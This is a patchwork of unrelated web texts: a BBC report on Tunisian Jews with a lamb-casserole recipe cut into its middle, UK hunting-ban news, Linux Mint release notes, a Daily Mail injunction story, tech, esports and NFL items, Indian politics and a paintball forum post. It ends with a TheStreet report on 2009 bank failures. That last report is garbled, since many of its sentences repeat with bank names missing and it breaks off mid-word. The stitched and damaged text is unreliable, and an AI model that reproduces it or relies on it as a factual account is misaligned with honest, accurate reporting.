"At the beginning we wanted to see Tunisia open, modern with all what we see in Western Europe. We wanted to look like the modern world. But unfortunately, a few weeks and months after there's a small part of Tunisian people [who] are against the modernism that the big majority of Tunisian people want."
One of his concerns now is that "we don't see a real will from the government to act against those people".
I put those concerns to the leader of the Nahda movement, Rachid Ghannouchi, the mainstream Islamist party that leads the current coalition government.
Ghannouchi says Tunisian law prohibits incitement to violence against any group, and that he has reassured representatives of the Jewish community that those responsible will be tried.
No-one has been tried yet, he concedes, but it took America 10 years to hunt down Bin Laden, he points out.
Nahda's attitude is regarded by some Tunisians as a form of double-speak. They accuse it of paying lip service to democratic values - freedom of expression, equal rights to all citizens, rule of law - while in reality having much in common with the ultra-conservative Salafists.
On Djerba, the heartland of Judaism in Tunisia and home to one of oldest synagogues in the world, El-Ghriba, the Salafists do not seem to have a presence, but the news of their threats has reached the small Jewish community.
A Jewish man, a 53-year-old father of six, says he has seen "Death to the Jews" scrawled on the wall. He writes over it "Death to those who want death to the Jews," he tells me.
He lived in the West for nine years, but he came back, he says, because he loves his traditional lifestyle.
Msoki (Tunisian lamb casserole for Passover) Whisk oil, water and tomato puree and pour into a large casserole. Add lamb, onions, celery, carrot, garlic and cinnamon. Bring to the boil, cover and simmer for 30 mins.
Add broad beans, leek, artichokes and courgettes. Bring back to the boil, cover and simmer for at least another 30 mins.
Add spinach, allow to cook down, then add the fresh herbs, leaving some for garnish. Add harissa or cayenne pepper to taste.
Place the pieces of matzoh on top of the stew and press down gently. Sprinkle with reserved herbs before serving. By Clarissa Hyman. Full recipe and list of ingredients on BBC Food.
I ask him what he feels about the future. He say it is all in the hands of the government - if it creates safety and stability then the Jews have nothing to fear.
None of those I asked said they wanted to leave Tunisia or have made such plans.
But none of the 800,000 or so Jews who used to live in Arab societies before 1948 had wanted to leave.
In most cases theirs was a forced departure. The majority went to Israel, while some 200,000 fled to the West. Now, it is thought there are less than 20,000 left.
At the synagogue in La Goulette, Attoun tells me he has studied in France but, unlike other members of his family, he returned through love of his homeland.
Part of his extended family live in Israel, but personally he has no plans to go anywhere.
"We are only Tunisians, me and my children. For us Tunisia is our country. We don't want to imagine the catastrophic scenario."
Magdi Abdelhadi's documentary, Arab Jews: A Forgotten Exodus, was broadcast on BBC World Service. Listen to the programme via i-player radio or download a podcast.Image caption Boxing Day hunts - following artificial scent trails - are getting under way across the country
Moves to repeal the ban on hunting with dogs in England and Wales may not happen in 2013, a minister has said.
Speaking to the Daily Telegraph, Environment Secretary Owen Paterson appeared to rule out a vote next year.
But he insisted it was still the government's intention to give MPs a free vote on lifting the ban.
More than 300 hunts are to hold Boxing Day meets, a week after the RSPCA's first successful prosecution of a hunt for operating illegally.
It has been illegal to use dogs to hunt animals in England and Wales since 2005, and in Scotland since 2002.
'Animal cruelty'
Analysis The Environment Secretary Owen Paterson is seen by those on the right of the Conservative Party as an authentic Tory who shares their instincts. But Mr Paterson's comments show he is a mathematically astute pragmatist. Yes, the coalition agreement sets out the government will give MPs a free vote on repealing the Hunting Act. But the environment secretary has done his sums and concluded those in favour of overturning the law would lose. Some Conservatives will also be very aware that reintroducing the debate on hunting at Westminster would open a whacking great dividing line with Labour. Ed Miliband's party would argue pushing for a vote would prove the Tories are out of touch with the concerns of most voters.
Mr Paterson told the Telegraph: "At the moment, it would not be my proposal to bring forward a vote we were going to lose."
But Mr Paterson insisted it was still the government's intention to have a free vote "but we need to choose an appropriate moment".
A spokesperson for the Department for Environment, Food and Rural Affairs confirmed: "The coalition government pledged to put forward a motion to allow a free vote on the Hunting Act.
"This will take place at an appropriate time and if parliament were to vote in favour of repeal, the government would introduce a Repeal Bill in the House of Parliament in due course."
Responding to Mr Paterson's comments, Labour's shadow environment secretary, Mary Creagh, said "most people back Labour's ban on hunting wild animals with dogs".
"People are worried about their incomes falling, prices rising and losing their jobs, yet this out of touch Tory-led government wants to bring back hunting," she said.
The RSPCA prosecution of two members of the Heythrop Hunt has led to claims illegal hunting is still going on.
The hunt's Richard Sumner and Julian Barnfield admitted unlawfully hunting with dogs on four separate occasions.
Heythrop Hunt Ltd also pleaded guilty at Oxford Magistrates Court on 17 December to four counts of the same charge.
Sumner was ordered to pay a £1,800 fine and £2,500 in court costs, Barnfield was ordered to pay a £1,000 fine £2,000 in costs and Heythrop Hunt Ltd was fined £4,000 and £15,000 in costs.
The RSPCA's Gavin Grant said the organisation had "no arguments with people who want to ride their horses with their dogs in the glories of our countryside".
"But we're totally opposed - as are the vast majority of the people in this country - to anybody who's going out there, deliberately, to abuse animals and to tear them to shreds," he told the BBC.
Meanwhile, the BBC's Alex Dunlop says there has been a big turnout at some Boxing Day hunts across the country.
At the Thurlow Hunt - one of the oldest in Britain - dozens of riders set off as their dogs followed an artificial trail of fox scent.
Many supporters have also shown up in support of the tradition, according to our correspondent.
'Other priorities'
Hunts are no longer allowed to use dogs to chase down foxes, but are instead supposed to use techniques such as drag hunting, where dogs set off on the trail of a scent laid about 20 minutes in advance by a runner or rider dragging a lure.
Media playback is unsupported on your device Media caption BBC News spends a day with a hunt in the Foret d'Eu in France
Animal welfare charities, including the RSPCA and the League Against Cruel Sports (LACS), have commissioned research which suggests that only 15% of people want to scrap the ban.
Joe Duckworth, LACS chief executive, said the organisation was "intensifying our campaign against illegal hunting," investing £1m in recruiting new professional investigators and quadrupling frontline personnel working to catch people hunting illegally.
"Three quarters of people in this country want to see fox hunting stay illegal," he added.
But the Countryside Alliance says it has seen no slackening of support for hunting in recent years, and on the busiest day of the hunting season, members of hunts across the country will be out in force in a continued show of support for their sport.
Speaking to BBC Radio 4's Today programme, executive chairman Sir Barney White-Spunner said: "If you were going to go for some sort of repeal [of the ban] then it would probably take a... huge amount of parliamentary time at a time when the government and parliament's got other priorities.
"But I'm absolutely confident the act will be repealed and I think in the meantime the country people trust that the prime minister will deliver what he can."The team is proud to announce the release of LMDE 201303.
Screenshots
LMDE 201303 Cinnamon Edition
LMDE 201303 MATE Edition
Highlights
Update Pack 6
MATE 1.4
Cinnamon 1.6
Installer improvements (graphical timezone and keyboard selection, support for installation on multiple HDD, slideshow, webcam and face picture support)
Device Driver Manager
Plymouth splash screen
If you’re new to LMDE, welcome to Linux Mint Debian!
Important links
LMDE in brief
Linux Mint Debian Edition (LMDE) is a semi-rolling distribution based on Debian Testing.
It’s available in both 32 and 64-bit as a live DVD with MATE or Cinnamon.
The purpose of LMDE is to look identical to the main edition and to provide the same functionality while using Debian as a base.
FAQ
1. Is LMDE compatible with Ubuntu-based Linux Mint editions?
No, it is not. LMDE is compatible with Debian, which isn’t compatible with Ubuntu.
2. Is LMDE fully compatible with Debian?
Yes, 100%. LMDE is compatible with repositories designed for Debian Testing.
3. What is a semi-rolling distribution?
Updates are constantly fed to Debian Testing, where users experience frequent regressions but also frequent bug fixes and improvements. LMDE receives “Update Packs” which are tested snapshots of Debian Testing. Users can experience a more stable system thanks to update packs, or switch their sources to follow Testing, or even Unstable, directly to get more frequent updates.
4. How does LMDE compare to the Ubuntu-based editions?
Pros:
You don’t need to ever re-install the system. New versions of software and updates are continuously brought to you.
It’s faster and more responsive than Ubuntu-based editions.
Cons:
LMDE requires a deeper knowledge and experience with Linux, dpkg and APT.
Debian is a less user-friendly/desktop-ready base than Ubuntu. Expect some rough edges.
No EFI, GPT or secureBoot support.
Additional notes:
About the installer: The live installer is developed from scratch with Debian in mind. It’s configurable and it can be re-used by other Debian-based distributions. We noticed a lack in live technologies and in live Debian installers, so we’re happy to take the lead on this. If you’re a developer and you’re interested in using it, have a look at its source repository and don’t hesitate to contact us so we can help you fork it and merge upcoming changes between our two projects.
The live installer is developed from scratch with Debian in mind. It’s configurable and it can be re-used by other Debian-based distributions. We noticed a lack in live technologies and in live Debian installers, so we’re happy to take the lead on this. If you’re a developer and you’re interested in using it, have a look at its source repository and don’t hesitate to contact us so we can help you fork it and merge upcoming changes between our two projects. About bugs: Please use this blog to report bugs.
Please use this blog to report bugs. Dedicated chat room: #linuxmint-debian is open to LMDE users on irc.spotchat.org.
Download links:
Torrents:
MD5 sums:
Cinnamon 32-bit: b82ad03d022c7ad56ef8195642494f41
Cinnamon 64-bit: 559d2f78c8f209eff56300d92d86458f
MATE 32-bit: 06ae51a79afb8cf71ebc21e78fb630b0
MATE 64-bit: 6f35b278e027ce6c26456f41346faf76
Cinnamon 32-bit:
Cinnamon 64-bit:
MATE 32-bit:
MATE 64-bit:
Enjoy!
We look forward to receiving your feedback. Thank you for using Linux Mint and have a lot of fun with this new release!An American publication has printed allegations banned from being made in Britain about a celebrity partner who had an 'extra-marital' threesome
British justice descended into farce last night after the identity of a celebrity who cheated on his spouse was revealed in the United States but blocked here.
The pair have been named in an American print publication reporting on the infidelity.
But a draconian privacy injunction means Britons are barred from learning in the media who the well-known couple are. The celebrity, who has young children with his spouse, was involved in a threesome with another couple.
This sexual relationship came to an end but the trio remained friends.
Earlier this year, however, the couple approached a newspaper offering to tell their story.
A High Court judge initially turned down an application for a privacy injunction from the celebrity because his infidelity contradicted his public portrayal of married commitment.
He went to the Appeal Court where judges said he was in the entertainment business and married to 'a well-known individual in the same business'.
In the public ruling, Lord Justice Rupert Jackson said the couple had an open relationship and the spouse accepted the celebrity had sexual encounters from time to time.
He said a story would generate a media storm, public interest in the family, and press attention directed at the children. It would be 'devastating for the claimant' and the need for privacy was stronger than the right to publish.
The ruling meant the British media was banned from publishing the story.
The situation is a 'farce' making an 'ass out of the law', according to Tory MP Philip Davies.
The celebrity's infidelity being reported in the US means it can potentially be read about by all 319million Americans. This is expected to spark countless posts online.
Bob Satchwell, executive director at the Society of Editors, said injunctions were draconian, outdated and ludicrous.
Judgment: The Court of Appeal in London has blocked the naming of a celebrity in the UK even though it can be read in the United States
DAILY MAIL COMMENT: YOUR RIGHT TO KNOW Millions of Americans will be talking about it, after a paper reported the full story. And inevitably, social media chatrooms all around the globe will be abuzz with the names. Yet thanks to a Court of Appeal injunction, the once-free Press of the UK remains banned from revealing the identity of the celebrity married couple who flaunt their happy family lives, with the aid of expensive PRs, while one of them is said to have indulged in an extra-marital threesome. Could anything more starkly expose the law’s failure to keep up with the age of the internet, in which no judge’s ruling can stop stories from flashing round the world within seconds? Indeed, the law’s inability to understand the phenomenon was shown by Lord Justice Leveson, who devoted barely 20 pages to social media in his 2,000-page report on the Press. Yet this didn’t stop him recommending a draconian crackdown on British newspapers, which are expected compete with mega-sites on the internet. But it’s the hypocrisy of it all that stinks. Celebrities spend fortunes on promoting an image to appeal to their devotees, who in turn enrich them beyond dreams. Yet the moment an uncomfortable truth threatens to shake their fans’ trust, they run for an injunction. Whatever happened to the public’s right to know?
'On one level, it means people who buy these injunctions are wasting their money,' he said. 'But it is quite ridiculous that people elsewhere can know about the story but people in Britain are not allowed to. It makes a mockery of the system.'
And John Hemming, the former Lib Dem MP who exposed Ryan Giggs's infidelity in the House of Commons in 2011, said it left judges looking out of touch.
'King Canute showed he could not hold back the waves, and he was making a point that our judges would be wise to learn from,' he said.
The Appeal Court ruling by Lord Justice Jackson and Lady Justice Eleanor King that the infidelity is a private matter under human rights law, and not of any public interest, means British newspapers and broadcasters may not name them.
Until yesterday the judges' decision shielded the celebrity from public exposure of his infidelity to his spouse and ensured that his longstanding claims of commitment to his partner will go unchallenged.
Ruling: Lord Justice Rupert Jackson decided that his identity should be kept secret as it would be 'devastating for the claimant' and the need for privacy was stronger than the right to publish
The fact that his behaviour is now public in America while censored from newspapers in this country means the return of controversy over the way judges have developed the privacy injunction, in which the rich and famous appeal to human rights law to suppress unflattering news about themselves.
Over the past four years a number of celebrities have proved reluctant to turn to the law courts to hide their embarrassment.
The temporary decline in the use of privacy injunctions followed the public exposure of the infidelities of footballer Ryan Giggs and disgraced banker Fred Goodwin.
Both men tried to use the courts to silence information about affairs, but both were the subject of speculation on social media. They were named in Parliament in 2011 under the rules of legal immunity.
Mr Hemming, who now runs the pressure group Justice for Families, added: 'The judiciary in London have to understand that their rulings only go as far as the edge of England and Wales.
'They have no effect in the rest of the world, and, as was demonstrated during the Giggs affair, they do not even apply in Scotland.
'Those wealthy people who think they can use expensive lawyers to suppress freedom of speech will, I hope, be beginning to realise that it doesn't work.'
Lord Justice Jackson and Lady Justice King said the celebrity met another sexual partner in 2007 or 2008, and later asked if the individual, who can be identified only as CD, and CD's own partner, were 'up for a three-way'.
'Accordingly, the three met for a three-way sexual encounter which they duly carried out,' the judge said.
'THE TRUTH ALWAYS COMES OUT': EXPERT WARNS THAT INJUNCTION IS A FARCE BECAUSE 'WE ARE IN A DIGITAL, GLOBAL AGE WITH NO BOUNDARIES' The injunction farce shows there are no boundaries in social media, according to a PR and branding consultant. Mark Borkowski said the truth will ultimately come out as it did when football's Ryan Giggs tried to hide his infidelity. 'This scenario is akin to King Canute who sat on the beach trying to hold back the waves,' he said. 'We are in the digital, global age where there are no boundaries. 'Things have been falling apart for the two people involved for some time and you have to look at how they promote themselves as a happy family while another narrative goes on. 'The people who stand to make money out of this are the lawyers. These matters never go away. 'What people want is the story. Once you report there is a injunction you know there is a story and people burrow away to get it.'
After that, the sexual relationship with the celebrity came to an end but they remained friends.
Earlier this year, however, that couple approached the Sun on Sunday.
At first a High Court judge turned down an application for a privacy injunction on the grounds that the couple had portrayed an image of commitment and 'there is a public interest in correcting it when the claimant has engaged in the sort of casual sexual relationships as demonstrated in the evidence'.But Lord Justice Jackson ruled in the Appeal Court case that the celebrity and his spouse, who have been in a relationship for many years, had an open relationship, and the spouse accepted that the celebrity had sexual encounters with others from time to time.
The judge said publicity about the couple showed not 'total marital fidelity, but rather a picture of a couple who are in a long-term, loving and committed relationship. That image is an accurate one.'
Duncan Lamont, a media lawyer at Charles Russell Speechlys, said: 'It is now for media who wish to publish the details to return to the Court of Appeal to apply to get the injunction lifted.
'It is daft when British people are not officially allowed to know the story but everybody else is. But the injunction is still there and that is the law.'
Another media lawyer, Mark Stephens of Howard Kennedy, said: 'This is definitely not sensible. It was predictable that this would all come out. By taking out the injunction the individuals concerned painted a target on their own backs.
'By staying within America, the US publication is safe. The law in America is very different. There is no privacy law in America, nor is there such a law in Australia, or New Zealand, or elsewhere in the Commonwealth. Privacy law is essentially an invention of continental Europe.'Any iPhone owner that is a heavy multitasker will no doubt admit that the way Apple’s smartphone handles accessing and restoring apps that are running in the background is not really the best. Double-pressing that already overused Home button in order to open up the multitasking tray may work, but it isn’t ideal, and we have gone through a few iPhones because of broken Home buttons.
Will they live much longer now iOS multitasking is becoming more and more useful and prevalent? Probably not, so some people are already working on what they think Apple should do long-term.
Now, UI designer Max Rudberg has released a concept video showing off what he believes is a much better way of handling multitasking, and it looks familiar.
As Rudberg also points out, the Home button on iOS devices is overloaded with functions and becomes less responsive over time due to the wear and tear of constant use.
In his short 8-second video, Rudberg proposes that iOS multitasking be accessed via a swipe inwards, from the edge of the screen. Doing so from just above the Home button would open the multitasking tray, but swiping in from other edges could potentially initiate other actions should the user wish.
If that sounds familiar, it is because RIM’s ill-fated PlayBook tablet handled multitasking in a very similar way, and look how that turned out!
The iPhone, with its smaller screen, may not be quite so suited to constantly swiping in and out of the screen in order to access functions currently handled by that Home button. Even so, with Apple’s apparent need to remove all physical buttons from anything it can, then we do wonder whether this is the kind of thing we will see from Apple at some point in the future. If Apple’s engineers can replace the iPhone’s lone hardware button with software-based gestures, we can’t see them being able to resist! We’ll be more than happy to oblige.
Rudberg is so confident that his way of handling multitasking is better than Apple’s solution that he has even submitted it as a feature request in a bug report.
You’ve got to give him an A+ for effort just for that!
(via TNW)
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Related StoriesNinjas in Pyjamas have been marked dead in ESEA Invite, meaning that they have forfeited their remaining matches in the league.
The Swedish team were sitting in sixth place in the European league, with just two victories from six matches, and qualification for the LAN finals seemed like a herculean task for Richard "Xizt" Landström's men.
ESEA's website now shows NiP's record as being 2-14, which means that the ESL One Cologne champions have surprisingly pulled out of the online league.
NiP marked dead in ESEA Invite
NiP have not yet commented on the decision, but it is believed that the Swedish giants have opted to focus on the other online competitions in which they are currently taking part, Hitbox Arena Championship 3, FACEIT League and SLTV StarSeries XI.
The Swedish side also have a busy schedule ahead of them as they will attend DreamHack Stockholm and the ESWC finals in the coming weeks.Most of us who type on a computer know we have a wealth of fonts and typefaces to choose from. There’s the classic Times New Roman and the modern lines of Helvetica, which was the subject of a documentary a few years ago. Now there’s a colorful new typeface named Gilbert that was inspired by Gilbert Baker, the San Francisco-based designer of the rainbow flag.
Baker died at the end of March at the age of 66, and his passing inspired marketing firm Ogilvy and Mather to create the font.
“We heard the sad news about Gilbert Baker, and we felt compelled to do it,” said Ogilvy and Mather Creative Director Chris Rowson by phone from New York City.
Ogilvy and Mather has worked for years with NYC Pride and LGBTQ film festival NewFest on a number of pro bono projects, and Rowson said designing a new typeface seemed an important extension of that, giving the LGBTQ community a tool to for creating banners, posters and signs.
“It’s a simple gesture,” said Ogilvy Creative Director Rodrigo Moran, who joined Rowson on the phone, “with an amazing meaning behind it.”I look at a lot of JavaScript code and I often run across something like this:
var TrevNS = {}; TrevNS.RockinClass = {/* other stuff... */}; $.extend(TrevNS.RockinClass, { rock: function(str) { return("this " + str + " rocks!"); }, roll: function(str) { return("this " + str + " rolls!"); } });
Whenever I see some code like this I have to wonder why the author chose jQuery’s $.extend instead of another method.
There are at least three other ways of writing this same code:
Creating a function in the global namespace: var TrevNS = {}; TrevNS.RockinClass = {/* other stuff... */}; function rock(str) { return("this " + str + " rocks!"); } function roll(str) { return("this " + str + " rolls!"); } TrevNS.RockinClass.rock = rock; TrevNS.RockinClass.roll = roll; Assigning methods as anonymous functions: var TrevNS = {}; TrevNS.RockinClass = {/* other stuff... */}; TrevNS.RockinClass.rock = function (str) { return("this " + str + " rocks!"); }; TrevNS.RockinClass.roll = function (str) { return("this " + str + " rolls!"); }; Extending the class with prototype: var TrevNS = {}; TrevNS.RockinSuperClass = function () {/* other stuff... */}; TrevNS.RockinSuperClass.prototype.rock = function (str) { return("this " + str + " rocks!"); }; TrevNS.RockinSuperClass.prototype.roll = function (str) { return("this " + str + " rolls!"); }; TrevNS.RockinClass = new TrevNS.RockinSuperClass();
So, I went online to see if there were any comparisons out there, and lo and behold, there were!
I discovered a great test at JSPerf.com. Here are my results from running the test on many browsers (all numbers are in operations/second):
This shows the following:
$.extend is by far the slowest way to add functions to an object. Assigning methods as anonymous functions (var bar = function ()) is the fastest overall. Creating a function in the global namespace (function foo()) is sometimes faster, but sometimes the slowest (depending on the browser).
Judging from these results, it seems that the best way to extend your classes (i.e. objects) is by assigning them as anonymous functions.
That isn’t to say that $.extend has other good uses, such as extending multiple objects at once and deep copying, but for simply adding methods to an object, it isn’t the best solution.
Thanks to Jens Roland for making the test and Mathias Bynens for making JSPref.com!
(As a side note, Chrome on Mac OS X is the fastest of the browsers I tested, and IE 8 on Windows 7 was the slowest. The difference was HUGE!)Unable to bear the spine-chilling cold, an elderly woman breathed her last in front of the SDO office in Garhwa, Jharkhand.
80-year-old Shyamdei Kunwar had come to the SDO’s office on Monday morning to seek a blanket to protect herself from the unbearable cold. Her request was rejected by the office. She waited until the afternoon outside the office gate. It is while sitting on the pavement that she passed away because of the cold.
Later her nephew Suresh Bind, a daily labourer, told Bhaskar that his aunt hardly managed her livelihood after the death of his uncle. Kunwar’s son is also a labourer working in West Bengal. Suresh said that Kunwar had been visiting the SDO office for the last 15 days just to receive a blanket, but every time she had to return with empty hands.
The SDO of Garhwa Rakesh Kumar told Bhaskar that the octogenarian passed away after vomiting. He had never seen the woman before Monday. He also told that the state government had distributed over one lakh blankets to poor people across the state and Garhwa district received over 30,000 blankets by that time. There was no one to confirm whether these blankets were distributed or not.
Social Security Assistant Director Piyush Kumar told that the blankets are distributed by the BDO and ward members.
The Logical Indian is appalled by the fact that a woman who had been visiting a government office for 15 days could not be saved by just arranging a blanket for her. We wonder how many of the blankets reached the people in Garhwa district. Had this been Ranchi or New Delhi, aid would have reached without a lot of effort. But people in the hinterlands do get affected as administration and government continue to not show any concern or care for them.Gigography This listing of gigs and setlists was painstakingly compiled and researched by the unstoppable Richard Stanforth and published by Melonie Walter ALMOST 700 GIGS LISTED (WITH OVER 200 SET |
15 minutes of sudden death overtime are played. The first team to score a touchdown wins. If the first side in possession scores via a field goal, then the opposite side will get a chance to score a field goal as well. In case the score is still leveled at the end of overtime, the game is called a tie.
This however is not applicable to postseason games because a winner has to be determined at any cost. So, if the game is tied at the end of regular time, overtime will start. If the scores are still leveled, then another period of overtime will be played. That will continue until one side comes out on top.
Q: How many teams are there in the NFL?
Ans: The NFL was incepted way back in the year 1920 and initially consisted of only 14 teams. As the league and the sport grew in stature, the number of teams began to increase as well. Now that number stands at 32.
The NFL is divided into two conferences, the National Football Conference (NFC) and the American Football Conference (AFC). Both conferences are divided into four divisions each which are: NFC East, NFC North, NFC South NFC West, AFC East, AFC North, AFC South and AFC West. Each of these eight divisions contain four teams.
Q: How many NFL games are in London this year?
Ans: The National Football League is huge in North America. It is without doubt, the biggest professional sports league in the part of the world which is viewed by millions of fans every year. Its showpiece event, the Super Bowl is the most watched annual sporting event too.
As popular as the NFL is in North America, it is still not that popular in other parts of the globe. So, to increase its stature, the NFL management decided to take the league beyond the borders of the US and Canada. That is what prompted the formation of the NFL International Series.
The NFL International Series began in the year 2007. The first regular season game to be played overseas saw the Miami Dolphins take on the New York Giants at the famous Wembley Stadium in London. The date was October 28, 2007. The side from the Big Apple came out on top. The move was received well by all quarters and multiple games have been held outside the US since then. All of these encounters have taken place at the Wembley Stadium and it is scheduled to play host to more NFL clashes all the way till 2020.
The NFL International Series will play more games out of the US this year but three of those were held in London. Wembley Stadium was however not the only venue in the city to host the three encounters. Two of those games were played at the Wembley Stadium whereas one took place at the Twickenham Stadium, the home of England Rugby.
These were the four most searched questions on the NFL this past week. The diverse nature of the questions shows that the NFL is in full swing and fans are looking to get all the information they can. There was a time when getting all this information wasn’t that easy but that has changed with the internet. Now all you have to do is type in your query and get the information you need in not more than a few minutes.
As the NFL season carries on, more and more people will surely log on to the internet to find answers to their questions. This is the beauty of modern day technology. If you have a question about the NFL that you need an answer to, let us know and we will see if we can give you the answer to that.
So, let us know what you have to say by commenting below and let’s keep the discussion rolling.Tribune News Service
Ludhiana, November 3
Punjab Irrigation Minister and Sahnewal MLA Sharanjit Singh Dhillon today alleged that it was the Congress and its leaders who orchestrated the 1984 Sikh genocide.
While accusing both Congress and Aam Aadmi Party leaders of using this emotionally sensitive issue for petty political gains, Dhillon said the Punjabis and especially the Sikhs very well knew as to who was responsible for the Sikh genocide of 1984.
Dhillon said this while speaking to mediapersons after burning effigies of Congress leaders Sonia Gandhi, Rahul Gandhi and Capt Amarinder Singh at Sahnewal today.
He said the people had already seen the ‘anti-Punjab’ faces of both the Congress as well as the Aam Aadmi Party. He alleged that the Congress had harmed the state religiously, economically and socially and now, the Aam Aadmi Party was treading the same path. He accused the Congress of having given Punjab’s share of river waters to Rajasthan and ruining the state’s economy by giving financial sops to industry in neighbouring states. He said Chandigarh and Punjabi-speaking areas were never given to Punjab, which led to social imbalance in the state.
Meanwhile, in Ludhiana city, SAD activists led by senior SAD leader Hira Singh Gabria burnt the effigies of Congress leaders, accusing them of playing divisive politics.How was nothing done to the grips? Their is a 5 page post in the PE forum asking for thinner grips, Impact sands down the grips on their guns and pretty much every review has had this complaint. CS1 might be the best gun ever but the front grip is way too thick. Its frustrating that the response from Planet is to just deal with it.
Edit: Looks like I didn't read through that thread thoroughly enough, the complaint is often about the rear. The CS1 is the best gun ever made besides the grips. Specifically the shape/thickness of the front grip and the thickness of the rear. I guess this is an opportunity for a third party to make some if such a demand truly exists.
I shot close to 100 cases through a CS1 last year and played 4 NXL events with it. I really gave the grips a chance but never got around to liking them any more. I still liked the gun quite a bit obviously, it's just been the missing piece on a masterpiece type of thing for me. Perfect world for me is a front grip shape closer to a luxe/vanquish and a thinner set on the back. Last edited by Paper_or_Plastic : 05-11-2017 at 10:03 PM.WASHINGTON ( WASHINGTON ( TheStreet ) -- Regulators shut down four banks and three thrifts Friday, bringing the total number of failed institutions this year to 140. The Federal Deposit Insurance Corporation failed to find buyers for three of the failed institutions, all of which had relatively small amounts of uninsured deposits, meaning that some depositors would take losses. The Federal Deposit Insurance Corporation failed to find buyers for three of the failed institutions, all of which had relatively small amounts of uninsured deposits, meaning that some depositors would take losses. Independent Bankers Bank of Springfield, Ill., which had been rated a D (Weak). TheStreet.com Ratings had previously assigned financial strengths ratings of E (Very Weak) or lower to all of the failed institutions except forof Springfield, Ill., which had been rated a D (Weak). The largest failure was First Federal Bank of California of Santa Monica, which had $6.1 billion in total assets and $4.5 billion in deposits when it was shuttered by the Office of Thrift Supervision (OTS), following seven quarters of large losses on residential mortgages, with negative amortization on option-payment adjustable-rate mortgages contributing a significant portion of the losses. The largest failure wasof Santa Monica, which had $6.1 billion in total assets and $4.5 billion in deposits when it was shuttered by the Office of Thrift Supervision (OTS), following seven quarters of large losses on residential mortgages, with negative amortization on option-payment adjustable-rate mortgages contributing a significant portion of the losses. The FDIC was appointed receiver and arranged for OneWest Bank of Pasadena, Calif. to take over First Federal, paying no premium for the deposits. The FDIC agreed to share in losses on $5.3 billion of the acquired assets and estimated the cost of the failure to its deposit insurance fund would be $146 million. First Federal Bank's 39 offices were set to reopen during normal business hours Saturday as OneWest branches. The FDIC was appointed receiver and arranged forof Pasadena, Calif. to take over First Federal, paying no premium for the deposits. The FDIC agreed to share in losses on $5.3 billion of the acquired assets and estimated the cost of the failure to its deposit insurance fund would be $146 million. First Federal Bank's 39 offices were set to reopen during normal business hours Saturday as OneWest branches. This is the second major acquisition for OneWest Bank, which was newly-organized in March by an investor group led by Steven Mnuchin before purchasing the remnants of This is the second major acquisition for OneWest Bank, which was newly-organized in March by an investor group led by Steven Mnuchin before purchasing the remnants of IndyMac Bank from the FDIC. Other Failures RockBridge Commercial Bank Georgia regulators closed RockBridge Commercial Bank of Atlanta, which had $294 million in assets and total deposits of $292 million. The FDIC was appointed receiver, and since a buyer could not be found for the failed institution's deposits, the agency announced that the RockBridge's insured deposits would be paid out, with checks mailed on Monday to retail depositors. Customers with deposits made through brokers will need to contact their brokers, who will be paid directly by the FDIC. Georgia regulators closedof Atlanta, which had $294 million in assets and total deposits of $292 million. The FDIC was appointed receiver, and since a buyer could not be found for the failed institution's deposits, the agency announced that the RockBridge's insured deposits would be paid out, with checks mailed on Monday to retail depositors. Customers with deposits made through brokers will need to contact their brokers, who will be paid directly by the FDIC. The agency estimated that there were $2.1 million in deposits that were over insurance limits. When a bank or thrift fails and uninsured deposits are not acquired, any payouts of uninsured deposits to customers are called dividends. The FDIC receivership may pay an immediate dividend on uninsured deposits, which is called an "advance dividend," and other dividends may be paid as the receivership disposes of the failed institution's assets. In this case, no advance dividend was announced. The FDIC estimated the cost of RockBridge Commercial Bank's failure to the deposit insurance fund would be $124 million. The agency estimated that there were $2.1 million in deposits that were over insurance limits. When a bank or thrift fails and uninsured deposits are not acquired, any payouts of uninsured deposits to customers are called dividends. The FDIC receivership may pay an immediate dividend on uninsured deposits, which is called an "advance dividend," and other dividends may be paid as the receivership disposes of the failed institution's assets. In this case, no advance dividend was announced. The FDIC estimated the cost of RockBridge Commercial Bank's failure to the deposit insurance fund would be $124 million. Peoples First Community Bank The OTS took over Peoples First Community Bank, Panama City, Fla., and appointed the FDIC receiver. The FDIC sold the failed bank's total deposits of $1.7 billion to Hancock Bank of Gulfport, Miss. for a one percent premium. Hancock Bank also took on $1.4 billion of Peoples First Community's $1.8 billion in assets, with the FDIC agreeing to share in losses on the acquired assets. The 29 Peoples First Community branches were scheduled to reopen during normal business hours Saturday or Monday, as branches of Hancock Bank. The OTS took over, Panama City, Fla., and appointed the FDIC receiver. The FDIC sold the failed bank's total deposits of $1.7 billion toof Gulfport, Miss. for a one percent premium. Hancock Bank also took on $1.4 billion of Peoples First Community's $1.8 billion in assets, with the FDIC agreeing to share in losses on the acquired assets. The 29 Peoples First Community branches were scheduled to reopen during normal business hours Saturday or Monday, as branches of Hancock Bank.
Hancock Bank is the main subsidiary of Hancock Holding Co. ( Hancock Bank is the main subsidiary of HBHC ). Citizens State Bank The Michigan Office of Financial and Insurance Regulation shut down Citizens State Bank of New Baltimore. The FDIC couldn't find a buyer for the failed bank's deposits and announced the creation of The Deposit Insurance National Bank of New Baltimore, which would remain open for about 45 days so that Citizen State's insured depositors could move their accounts to other institutions, except for CD and IRA accounts. Customers with these types of accounts were to be mailed checks for their insured balances. The FDIC estimated that approximately $803 thousand in insured deposits "potentially" exceeded insurance limits. The cost of the failure to the deposit insurance fund was estimated to be $76.6 million. The Michigan Office of Financial and Insurance Regulation shut downof New Baltimore. The FDIC couldn't find a buyer for the failed bank's deposits and announced the creation of, which would remain open for about 45 days so that Citizen State's insured depositors could move their accounts to other institutions, except for CD and IRA accounts. Customers with these types of accounts were to be mailed checks for their insured balances. The FDIC estimated that approximately $803 thousand in insured deposits "potentially" exceeded insurance limits. The cost of the failure to the deposit insurance fund was estimated to be $76.6 million. New South Federal Savings The OTS closed New South Federal Savings Bank of Irondale, Ala. The FDIC was appointed receiver and arranged for Beal Bank of Plano, Texas, to take over the failed thrift's $1.2 billion in deposits and $1.5 billion in assets. New South's office was scheduled to reopen Monday as a Beal Bank branch and the FDIC estimated the cost of the failure to its insurance fund would be $212 million. The OTS closedof Irondale, Ala. The FDIC was appointed receiver and arranged forof Plano, Texas, to take over the failed thrift's $1.2 billion in deposits and $1.5 billion in assets. New South's office was scheduled to reopen Monday as a Beal Bank branch and the FDIC estimated the cost of the failure to its insurance fund would be $212 million. Independent Bankers Bank Illinois regulators closed Independent Bankers' Bank of Springfield, an institution that didn't take deposits from the public, instead focusing on providing various services to other banks, including the sale of loan participations. Before it was shut down by regulators, the management of Independent Bankers' Bank was trying to sell the institution. The FDIC formed a "bridge 